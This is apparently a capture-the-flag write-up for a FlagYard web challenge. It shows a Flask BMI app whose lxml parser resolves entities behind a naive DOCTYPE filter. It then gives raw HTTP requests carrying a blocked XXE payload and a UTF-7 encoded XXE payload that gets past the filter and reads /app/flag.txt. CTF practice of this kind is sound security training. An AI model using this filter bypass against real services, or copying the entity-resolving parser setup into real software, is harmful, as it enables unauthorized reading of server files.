Published on

FlagYard - Meters flag - Web

Authors

Unleash your web hacking skills to unearth the secret flag hidden at '/app/flag.txt' in this thrilling web challenge.

Solution

Here is the code for the challenge :

from flask import Flask, request, render_template
from lxml import etree

app = Flask(__name__)


@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')


@app.route('/', methods=['POST'])
def calculate_bmi():
    xml_data = request.data
    
    if b"<!DOCTYPE" in xml_data or b"+ADwAIQ-ENTITY" in xml_data:
        return "I'm watching you *-*"
    
    try:
        parser = etree.XMLParser(resolve_entities=True)
        doc = etree.fromstring(xml_data, parser)
        weight = doc.xpath('//weight/text()')[0]
        height = doc.xpath('//height/text()')[0]

        bmi = calculate_bmi(weight, height)
        bmi_category = get_bmi_category(bmi)

        xml_response = f"<response><height>{height}</height><weight>{weight}</weight><result>BMI: {bmi:.2f} ({bmi_category})</result></response>"

        return xml_response, {'Content-Type': 'application/xml'}

    except etree.XMLSyntaxError as e:
        return 'Invalid XML data', 400


def calculate_bmi(weight, height):
    try:
        weight_float = float(weight)
    except ValueError:
        weight_float = 0.0
    
    try:
        height_float = float(height)
    except ValueError:
        height_float = 0.0

    height_in_meters = height_float / 100  # Convert height to meters
    return weight_float / (height_in_meters * height_in_meters)


def get_bmi_category(bmi):
    if bmi < 18.5:
        return 'Underweight'
    elif 18.5 <= bmi < 25:
        return 'Normal weight'
    elif 25 <= bmi < 30:
        return 'Overweight'
    else:
        return 'Obese'


if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)

From looking at the code it seems like this a xml external entity vulnerability(XXE). We try to send xxe payload which is getting blocked.

POST / HTTP/1.1
Host: a03d5a30bcd28a2e66c37.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/xml
Content-Length: 135
Origin: http://a03d5a30bcd28a2e66c37.playat.flagyard.com
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729660428.28.1.1729661063.0.0.0; _ga=GA1.1.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Priority: u=0

<!--?xml version="1.0" ?--->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/app/flag.txt"]>
<data><weight>12</weight><height>32</height></data>

We can try encoding our payload to UTF-7 encoding. This gives us the flag.

POST / HTTP/1.1
Host: a03d5a30bcd28a2e66c37.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/xml
Content-Length: 288
Origin: http://a03d5a30bcd28a2e66c37.playat.flagyard.com
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729660428.28.1.1729661063.0.0.0; _ga=GA1.1.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Priority: u=0

<?xml version="1.0" encoding="UTF-7"?>+ADw-+ACE-DOCTYPE+ACA-replace+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-ent+ACA-SYSTEM+ACA-+ACI-file:///app/flag.txt+ACI-+AD4-+ACA-+AF0-+AD4-+AA0-+AAo-+ADw-data+AD4-+ADw-weight+AD4-+ACY-ent+ADs-+ADw-/weight+AD4-+ADw-height+AD4-156+ADw-/height+AD4-+ADw-/data+AD4-